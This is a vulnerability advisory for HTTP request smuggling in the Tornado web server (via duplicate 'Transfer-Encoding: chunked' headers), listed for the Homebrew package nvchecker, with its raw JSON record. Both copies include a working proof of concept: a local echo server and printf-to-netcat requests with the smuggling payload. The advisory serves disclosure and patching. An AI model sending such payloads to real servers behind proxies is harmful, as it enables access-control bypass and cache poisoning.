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BREW-NVCHECKER-GHSA-753J… (GHSA-753J-MPMX-QQ6G)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:19 – Updated: 2026-09-17 18:30 – Source website
VLAI
Summary
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado
Details

Summary

When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.

PoC

  1. Install Tornado.
  2. Start a simple Tornado server that echoes each received request's body:
cat << EOF > server.py
import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)

async def main():
    tornado.web.Application([(r"/", MainHandler)]).listen(8000)
    await asyncio.Event().wait()

asyncio.run(main())
EOF
python3 server.py &
  1. Send a valid chunked request:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
  1. Observe that the response is as expected:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1

Z
  1. Send a request with two Transfer-Encoding: chunked headers:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
  1. Observe the strange response:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0

HTTP/1.1 400 Bad Request

This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.

Impact

Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
References
To clipboard 

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "tornado",
        "resource_purl": "pkg:pypi/tornado@6.5.8",
        "upstream_fixed_in": "6.4.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "nvchecker",
        "purl": "pkg:brew/nvchecker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7"
            },
            {
              "fixed": "2.15.1_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/tornado@6.5.8",
        "name": "tornado",
        "resource": "tornado",
        "strategy": "registry",
        "subject_version": "6.5.8"
      }
    ]
  },
  "details": "### Summary\nWhen Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.\n\n### PoC\n0. Install Tornado.\n1. Start a simple Tornado server that echoes each received request\u0027s body:\n```bash\ncat \u003c\u003c EOF \u003e server.py\nimport asyncio\nimport tornado\n\nclass MainHandler(tornado.web.RequestHandler):\n    def post(self):\n        self.write(self.request.body)\n\nasync def main():\n    tornado.web.Application([(r\"/\", MainHandler)]).listen(8000)\n    await asyncio.Event().wait()\n\nasyncio.run(main())\nEOF\npython3 server.py \u0026\n```\n2. Send a valid chunked request:\n```bash\nprintf \u0027POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\n0\\r\\n\\r\\n\u0027 | nc localhost 8000\n```\n3. Observe that the response is as expected:\n```\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Sat, 07 Oct 2023 17:32:05 GMT\nContent-Length: 1\n\nZ\n```\n4. Send a request with two `Transfer-Encoding: chunked` headers:\n```\nprintf \u0027POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\n0\\r\\n\\r\\n\u0027 | nc localhost 8000\n```\n5. Observe the strange response:\n```\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Sat, 07 Oct 2023 17:35:40 GMT\nContent-Length: 0\n\nHTTP/1.1 400 Bad Request\n\n```\nThis is because Tornado believes that the request has no message body, so it tries to interpret `1\\r\\nZ\\r\\n0\\r\\n\\r\\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.\n\n### Impact\nAnyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.\n",
  "id": "BREW-nvchecker-GHSA-753j-mpmx-qq6g",
  "modified": "2026-09-17T18:30:47Z",
  "published": "2026-08-13T17:19:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-753j-mpmx-qq6g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/commit/d65f6e71a77f53a1ff0a0dc55704be13f04eb572"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tornadoweb/tornado"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027) in tornado",
  "upstream": [
    "GHSA-753j-mpmx-qq6g",
    "CVE-2024-14029"
  ]
}



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